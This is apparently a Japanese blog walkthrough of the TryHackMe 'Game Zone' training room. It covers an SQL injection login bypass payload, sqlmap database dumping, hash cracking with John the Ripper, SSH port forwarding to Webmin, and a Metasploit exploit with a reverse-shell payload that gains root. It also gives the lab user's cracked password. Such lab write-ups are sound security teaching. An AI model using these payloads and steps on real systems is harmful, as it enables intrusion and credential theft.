前回は TryHackmeのSkynetを攻略 しました。今回はTryHackMeのGame Zoneを攻略していきます。

[sc_Linkcard url=”https://tryhackme.com/room/gamezone”]

スキャニング

いつもどおり、まずはスキャニングをしてみます。

$ nmap -sV 10.10.174.192

SSHとHTTPが空いていることが確認できました。

SQLインジェクションでアクセスする

TryHackmeの説明通り、SQLインジェクションを行います。

SQLインジェクションの説明はこちら

項目名
ユーザ名‘or 1=1 — –
パスワード空白
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 -- -

ログイン後、Web アプリケーションは次のページに移動します。

SQLMapでデータベース情報の取得

Burp Suiteを使って検索リスクエストを取得します。このリクエストをファイルに保存します。

SQLMapを使ってデータベース情報を取得します。

$ sqlmap -r game-zone-burp-req --dbms=mysql --dump

SQLMap は db データベースの users テーブルから agent47 ユーザーのパスワード ハッシュをダンプしました

項目名
Databasedb
Tableusers
PWD hashab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
Usernameagent47

JohnTheRipper でパスワード解析する

データベースのパスワードハッシュを解析していきます。

hash-identifier を使ってハッシュの種類を確認します。

SHA-256の可能性が高そうです。

ハッシュをファイルに保存し、John The Ripper でパスワード解析します。

$ john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

パスワードがわかりました。

agent47 ユーザと解析したパスワードで ssh接続を試みます。

$ ssh 10.10.174.192 -l agent47

ログインできました。

リバース SSH トンネルを使用したサービスの調査

$ ssh -f -N -L 10000:localhost:10000 agent47@10.10.174.192

http://localhost:10000/ にブラウザでアクセスします。

前に見つけた認証情報を使用して Webmin にログインしてみます。

ログインすると Webminのバージョン が書かれています。

Metasploit による権限昇格

Metasploit を立ち上げて、エクスプロイトを探します。

検索に2つ引っかかりましたが、エクスプロイトは1つだけなのでそれを選択します。

Module options の設定をします。

項目名
USERNAMEagent47
PASSWORDvideogamer124
RHOSTSlocalhost
SSLfalse

Payload optionsの設定もします。

ペイロードがデフォルトでロードされていないので、手動で設定していきます。

show payloadsでペイロード一覧を表示させます。

今回は payload/cmd/unix/reverse を使うことにします。

項目名備考
payloadpayload/cmd/unix/reverse
LHOSTtun0インターフェースの名前です。環境によって違う可能性があるため、ip aコマンドを実行して確認しましょう

すべての設定が終わったら設定値を確認します。

run コマンドを実行します。

Session が2つ作成されたようです。

sessions コマンドでセッションを確認してみます。

session2に入ります。

root 権限に昇格できました。